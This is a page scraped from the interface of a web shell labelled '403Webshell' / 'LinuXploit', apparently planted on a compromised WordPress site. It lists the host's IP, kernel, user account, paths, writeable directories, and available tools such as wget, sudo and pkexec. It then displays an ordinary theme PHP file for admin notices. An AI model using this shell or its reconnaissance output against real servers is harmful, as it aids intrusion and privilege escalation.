403Webshell
Server IP : 172.67.162.67  /  Your IP : 216.73.216.222
Web Server : Apache
System : Linux vps42439 6.8.0-136-generic #136~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 3 16:29:11 UTC x86_64
User : dh_7hi3h9 ( 6349477)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/dh_7hi3h9/regalflower.com/wp-content/themes/temp_thestory/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/dh_7hi3h9/regalflower.com/wp-content/themes/temp_thestory/lib/class-pexeto-notice.php
<?php


class PexetoNotice{
	
	public $kind = 'info';
	public $content = null;
	public $id = 0;
	public $is_dismissible = true;
	const DISMISSED_KEY = 'pexeto-notice-dismissed-';
	
	
	public function __construct($kind, $content, $id, $is_dismissible = true){
		$this->kind = $kind;
		$this->content = $content;
		$this->id = $id;
		$this->is_dismissible = $is_dismissible;
		
		$this->init();
	}
	
	
	protected function init(){
		if($this->should_display()){
			add_action( 'admin_notices', array($this, 'print_notice') );
			add_action( 'admin_enqueue_scripts', array($this, 'enqueue_scripts') );
		}
	}
	
	protected function should_display(){
		$dismissed = get_option(self::dismissed_key($this->id), false);
		return !$dismissed;
	}
	
	public function print_notice(){
		
		echo sprintf('<div class="notice pexeto-notice %s" data-notice_id="%s"><p>%s</p></div>',
			$this->get_notice_class(), $this->id, $this->content);
	}
	
	protected function get_notice_class(){
		$types = array(
			'success' => 'notice-success',
			'info' => 'notice-warning',
			'alert' => 'notice-error' 
		);
		$notice_class = isset($types[$this->kind]) ? $types[$this->kind] : 'notice-info';
		if($this->is_dismissible){
			$notice_class.= ' is-dismissible';
		}
		return $notice_class;
	}
	
	/**
	 * Enqueue the script to mark the notices as dismissed.
	 */
	public function enqueue_scripts(){
		wp_enqueue_script( 'pexeto-notices', PEXETO_LIB_URL.'js/notices.js', 
			array( 'jquery' ), PEXETO_VERSION , true );
	}
	
	
	// STATIC CLASS METHDOS

	/**
	 * Create helper method that creates an instance. Use this static method for
	 * better code readability.
	 */
	public static function create($kind, $content, $id, $is_dismissible = true){
		return new PexetoNotice($kind, $content, $id, $is_dismissible);
	}
	
	public static function mark_as_dismissed(){
		if(isset($_GET['notice_id'])){
			update_option(self::dismissed_key($_GET['notice_id']), true);
		}
		exit;
	}
	
	protected static function dismissed_key($id){
		return self::DISMISSED_KEY.$id;
	}
	
}

add_action( 'wp_ajax_pexeto_mark_notice_as_dismissed', array('PexetoNotice', 'mark_as_dismissed') );

Youez - 2016 - github.com/yon3zu
LinuXploit